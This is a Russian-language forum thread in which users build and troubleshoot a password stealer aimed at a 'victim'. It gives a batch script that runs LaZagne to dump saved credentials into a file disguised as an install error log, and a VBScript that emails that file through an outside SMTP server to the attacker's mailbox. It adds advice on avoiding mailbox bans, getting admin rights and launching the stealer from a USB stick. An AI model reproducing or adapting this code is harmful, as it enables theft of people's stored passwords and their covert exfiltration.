r4v3n
Новичок
- Статус
- offline
- Регистрация
- 13.11.2017
- Сообщения
- 37
- Репутация
- 8
Софт в гуле можешь спокойно найти. Поэтому без ссылок.где софт качать то?)
Софт в гуле можешь спокойно найти. Поэтому без ссылок.где софт качать то?)
Нам получается надо заранее знать почту жертвы?Софт в гуле можешь спокойно найти. Поэтому без ссылок.
НетНам получается надо заранее знать почту жертвы?
.To = "получатель@mail.ru" 'куда отправляем
.From = "Имя <отправитель@mail.ru>" 'имя отправителя + Email
.Item(v_Conf & "sendusername") = "отправитель@mail.ru" 'здесь имя пользователя
.Item(v_Conf & "sendpassword") = "пароль отправителя" 'пароль
Для того чтобы почта в бан не поподала можно со своего ящика себе же отправлять,но....если стилер расковыряют у них будет доступ к почте с логами(хотя логи можно своевременно удалять).[Upd]:
1) Для того, чтобы данный стиллер создавал отчет на основном разделе диска, на котором установлена ОС - по дефолту "С", потребуются права администратора. Для этого нужно поставить галочку с данном боксе.
![]()
2) С сервисом мыло.ру(не реклама) ящик прожил два дня и был забанен. Не рекомендую. С почтой от гугла все еще живет.
@echo off
laZagne.exe all > D:\install_error.bin
TIMEOUT /T 10
sender.exe
Dim o_Mess, v_Conf
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
Set o_Mess = CreateObject("CDO.Message")
With o_Mess
.To = "получатель@mail.ru" 'куда отправляем
.From = "Имя <отправитель@mail.ru>" 'имя отправителя + Email
.Subject = "Log" 'Тема письма
.TextBody = "BodyMail" 'Сообщение
.AddAttachment "D:\install_error.bin" 'Прикрепить файл
.TextBodyPart.Charset = "windows-1251" 'русская кодировка
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2 'без использования каталога Server Exchange
.Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'Адрес SMTP-сервера
.Item(v_Conf & "smtpauthenticate") = 1 'Тип авторизации
.Item(v_Conf & "sendusername") = "отправитель@mail.ru" 'здесь имя пользователя
.Item(v_Conf & "sendpassword") = "пароль отправителя" 'пароль
.Item(v_Conf & "smtpserverport") = 465 'порт (альтернативный - 465)
.Item(v_Conf & "smtpusessl") = True 'использовать ли шифрованое подключение SSL
.Item(v_Conf & "smtpconnectiontimeout") = 60 'Время до завершения повторных попыток подключения
.Update
End With
.send
End With
Set o_Mess = Nothing
@echo off
laZagne.exe all > logons.txt
TIMEOUT /T 2
Он вроде сам после выполнения закрываетсяЕсли хочу с флешки запускать, то достаточно в корень флешки поместить LaZagne и батник с содержимым:
И соответственно запустить батник?Код:@echo off laZagne.exe all > logons.txt TIMEOUT /T 2
А как сделать, чтобы батник сам закрылся потом?